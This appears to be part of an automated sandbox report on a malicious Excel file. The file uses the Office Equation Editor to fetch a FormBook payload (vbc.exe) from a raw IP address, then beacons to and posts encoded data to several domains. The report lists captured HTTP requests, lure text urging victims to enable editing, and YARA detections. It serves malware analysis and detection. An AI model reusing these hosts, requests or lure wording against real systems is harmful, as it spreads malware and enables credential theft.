          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.white-hat.ukReferer:
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.windows.com/pctv.
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.younrock.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.younrock.com/u2kb/
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.younrock.com/u2kb/www.younrock.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.younrock.comReferer:
          Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.drString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
          Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.drString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
          Source: wscript.exe, 00000010.00000003.1126038884.00000000053D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://crash-reports.mozilla.com/submit?id=
          Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.drString found in binary or memory: https://duckduckgo.com/ac/?q=
          Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
          Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
          Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.drString found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
          Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.drString found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
          Source: explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.digicert.com/CPS0
          Source: HI4NJ046K.16.drString found in binary or memory: https://www.google.com/favicon.ico
          Source: explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org
          Source: explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DB46BBB0.emfJump to behavior
          Source: unknownDNS traffic detected: queries for: www.white-hat.uk
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035B0646 URLDownloadToFileW,ShellExecuteExW,ExitProcess,
          Source: global trafficHTTP traffic detected: GET /889r12/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.189.202.84Connection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /u2kb/?MX=PXfMycAZpTAipct8YcIlv+jRzdgnyvgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTC045fzMwSdM+ozxnu9rCO36QPo=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.white-hat.ukConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /2017/sqlite-dll-win32-x86-3170000.zip HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.sqlite.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /u2kb/?MX=ydCzFiH7iMWnz6xHMbeyIS2EYayY5efYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNK7QGdClLf278PMkWXjYWxIQds=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.gritslab.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /u2kb/?MX=rr+sOBvEXsBdGevUkpEFvjOGSuYjzi1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXnwfbSEi+kURcMlXNjU4ipRv+g=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.bitservicesltd.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 20 Mar 2023 09:34:53 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 37 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 72(HML),I310Q/Qp/K&T$dCAfAyyyzzJaC0
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 20 Mar 2023 09:34:56 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 37 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 72(HML),I310Q/Qp/K&T$dCAfAyyyzzJaC0
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 20 Mar 2023 09:34:58 GMTContent-Type: text/htmlContent-Length: 153Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 20 Mar 2023 09:35:05 GMTContent-Type: text/htmlContent-Length: 199Connection: closeAccept-Ranges: bytesVary: Accept-Encoding,User-AgentContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 e5 8e c1 0e 82 30 10 44 ef fd 8a d5 bb 5d 34 1e 9b 26 4a 4b 6c 82 60 4c 39 70 14 a8 81 a8 10 69 91 df b7 d5 8b ff e0 de 66 f6 ed cc b2 85 c8 63 5d 9e 24 1c f4 31 85 53 b1 4f 55 0c cb 15 a2 92 3a 41 14 5a 7c 37 1b 1a 21 ca 6c c9 09 0b 9a b3 83 dc 09 2f b4 d2 a9 e4 db 68 0b d9 e0 20 19 a6 be 61 f8 35 09 c3 0f c4 f6 b9 28 c3 dd 9a ff 30 5e 11 dd 1a 18 cd 73 32 d6 99 06 8a 73 0a 38 6d 6e 15 c2 7c b1 d0 7b f6 1a 58 18 7a 70 6d 67 c1 9a f1 65 46 ea 93 ce 3e 4e f1 79 9e 69 d5 b9 60 77 b5 b1 77 d7 d0 7a 78 30 54 a1 fa 53 ea 6b c2 b3 e4 9f e7 0d 15 d1 11 fb e3 01 00 00 Data Ascii: 0D]4&JKl`L9pifc]$1SOU:AZ|7!l/h a5(0^s2s8mn|{XzpmgeF>Nyi`wwzx0TSk
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 20 Mar 2023 09:35:10 GMTContent-Type: text/htmlContent-Length: 199Connection: closeAccept-Ranges: bytesVary: Accept-Encoding,User-AgentContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 e5 8e c1 0e 82 30 10 44 ef fd 8a d5 bb 5d 34 1e 9b 26 4a 4b 6c 82 60 4c 39 70 14 a8 81 a8 10 69 91 df b7 d5 8b ff e0 de 66 f6 ed cc b2 85 c8 63 5d 9e 24 1c f4 31 85 53 b1 4f 55 0c cb 15 a2 92 3a 41 14 5a 7c 37 1b 1a 21 ca 6c c9 09 0b 9a b3 83 dc 09 2f b4 d2 a9 e4 db 68 0b d9 e0 20 19 a6 be 61 f8 35 09 c3 0f c4 f6 b9 28 c3 dd 9a ff 30 5e 11 dd 1a 18 cd 73 32 d6 99 06 8a 73 0a 38 6d 6e 15 c2 7c b1 d0 7b f6 1a 58 18 7a 70 6d 67 c1 9a f1 65 46 ea 93 ce 3e 4e f1 79 9e 69 d5 b9 60 77 b5 b1 77 d7 d0 7a 78 30 54 a1 fa 53 ea 6b c2 b3 e4 9f e7 0d 15 d1 11 fb e3 01 00 00 Data Ascii: 0D]4&JKl`L9pifc]$1SOU:AZ|7!l/h a5(0^s2s8mn|{XzpmgeF>Nyi`wwzx0TSk
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 20 Mar 2023 09:35:12 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingAccept-Ranges: bytesVary: Accept-Encoding,User-AgentData Raw: 32 36 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 32 6b 62 2f 3f 4d 58 3d 72 72 2b 73 4f 42 76 45 58 73 42 64 47 65 76 55 6b 70 45 46 76 6a 4f 47 53 75 59 6a 7a 69 31 59 4e 48 6d 58 69 76 72 39 32 46 51 68 52 49 49 59 73 65 64 52 32 61 2b 36 47 6f 56 31 57 41 4b 65 47 64 6a 2b 4d 54 64 58 35 31 32 6c 4a 58 6e 77 66 62 53 45 69 2b 6b 55 52 63 4d 6c 58 4e 6a 55 34 69 70 52 76 2b 67 3d 26 61 6d 70 3b 75 46 49 5f 3d 73 72 6f 78 61 5f 39 47 37 71 68 39 33 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 48 52 3e 0a 3c 49 3e 77 77 77 2e 62 69 74 73 65 72 76 69 63 65 73 6c 74 64 2e 63 6f 6d 3c 2f 49 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0d 0a Data Ascii: 266<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /u2kb/?MX=rr+sOBvEXsBdGevUkpEFvjOGSuYjzi1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXnwfbSEi+kURcMlXNjU4ipRv+g=&amp;uFI_=sroxa_9G7qh93 was not found on this server.<HR><I>www.bitservicesltd.com</I></BODY></HTML>
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: unknownTCP traffic detected without corresponding DNS query: 103.189.202.84
          Source: EQNEDT32.EXE, 00000002.00000002.969457766.0000000000699000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184336192.00000000006B9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
          Source: EQNEDT32.EXE, 00000002.00000002.969457766.0000000000699000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184336192.00000000006B9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
          Source: unknownHTTP traffic detected: POST /u2kb/ HTTP/1.1Host: www.gritslab.comConnection: closeContent-Length: 184Cache-Control: no-cacheOrigin: http://www.gritslab.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.gritslab.com/u2kb/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 4d 58 3d 28 66 71 54 47 58 66 5f 6b 4e 50 63 28 71 42 41 48 34 79 65 65 47 71 37 51 76 76 30 28 4b 48 6e 55 46 49 79 6f 36 46 44 47 79 4f 78 31 52 43 64 68 42 69 47 5a 54 69 70 36 4d 43 78 41 63 47 79 67 38 32 47 4b 76 51 30 79 71 62 56 46 4d 4f 67 5a 46 52 4d 6a 4a 7e 30 73 66 28 38 7a 79 58 7a 66 6e 39 50 4a 59 77 36 54 47 71 44 36 43 4e 68 44 53 6d 4f 36 4a 42 39 58 68 68 45 7a 70 39 37 45 71 79 67 43 70 6c 45 44 6a 74 62 50 61 61 41 41 54 74 76 34 66 34 75 37 70 38 65 72 6f 7a 68 34 48 6d 6e 74 54 6c 56 7e 6e 34 49 4a 41 62 6a 6e 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: MX=(fqTGXf_kNPc(qBAH4yeeGq7Qvv0(KHnUFIyo6FDGyOx1RCdhBiGZTip6MCxAcGyg82GKvQ0yqbVFMOgZFRMjJ~0sf(8zyXzfn9PJYw6TGqD6CNhDSmO6JB9XhhEzp97EqygCplEDjtbPaaAATtv4f4u7p8erozh4HmntTlV~n4IJAbjng).
          Source: C:\Users\Public\vbc.exeCode function: 5_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

          Spam, unwanted Advertisements and Ransom Demands

          barindex
          Found potential ransomware demand text
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAEXXZ
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: ?_Unlock@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@UAEXXZ
          Source: wscript.exe, 00000010.00000003.1126038884.00000000053D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAEXXZ
          Source: wscript.exe, 00000010.00000003.1126038884.00000000053D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: ?_Unlock@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@UAEXXZ

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
          Source: Screenshot number: 4Screenshot OCR: Enable Editing from the yellow bar above protected documents the yellow bar above 22 23 24 25
          Source: Screenshot number: 4Screenshot OCR: document is protected "ocmm ~m 14 N~H H m 15 TW ~0 ~ = r~ 16 "m "ocmm 17 "A0
          Source: Screenshot number: 4Screenshot OCR: protected documents the yellow bar above 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
          Source: Screenshot number: 12Screenshot OCR: protected documents the yellow bar above 'V I q I"' 'N.:' a S %10 m '00% G) A GE)
          Source: Document image extraction number: 0Screenshot OCR: document is protected Open the document In If document was Once you have embkd Mkrosoft Office ckj
          Source: Document image extraction number: 0Screenshot OCR: protected documents the yellow bar abwe pnnt~&nme 3'1.'2023 & 2 33 pm By R3OAJ7M pweor
          Source: Document image extraction number: 0Screenshot OCR: Enable Content" from not availabk for 'Enjbk Edmng from the ydlow bar above protected documents th
          Source: Screenshot number: 20Screenshot OCR: protected documents the yeuow bar above 1 G I I q |11| 'V 'N.:' Saving jmgs, Press ESC to canc
          Excel sheet contains many unusual embedded objects
          Source: d0#U10dc.xlsOLE: Microsoft Word 2007+
          Source: d0#U10dc.xlsOLE: Microsoft Excel 2007+
          Source: ~DF2613BCA6826298A5.TMP.0.drOLE: Microsoft Excel 2007+
          Source: ~DFF43C2C98E1EF8FBE.TMP.0.drOLE: Microsoft Excel 2007+
          Source: ~DFCD0A74EBC3B8D0D3.TMP.0.drOLE: Microsoft Excel 2007+
          Source: ~DF105CE6962F655752.TMP.0.drOLE: Microsoft Excel 2007+
          Source: ~DFAEEDEE6F10B6AFDD.TMP.0.drOLE: Microsoft Excel 2007+
          Source: ~DFF3DB96A6682A15C6.TMP.0.drOLE: Microsoft Excel 2007+
          Source: ~DF4DCF212DAF54DAAA.TMP.0.drOLE: Microsoft Excel 2007+
          Source: ~DF3759C9448D2ED5D7.TMP.0.drOLE: Microsoft Excel 2007+
          Office equation editor drops PE file
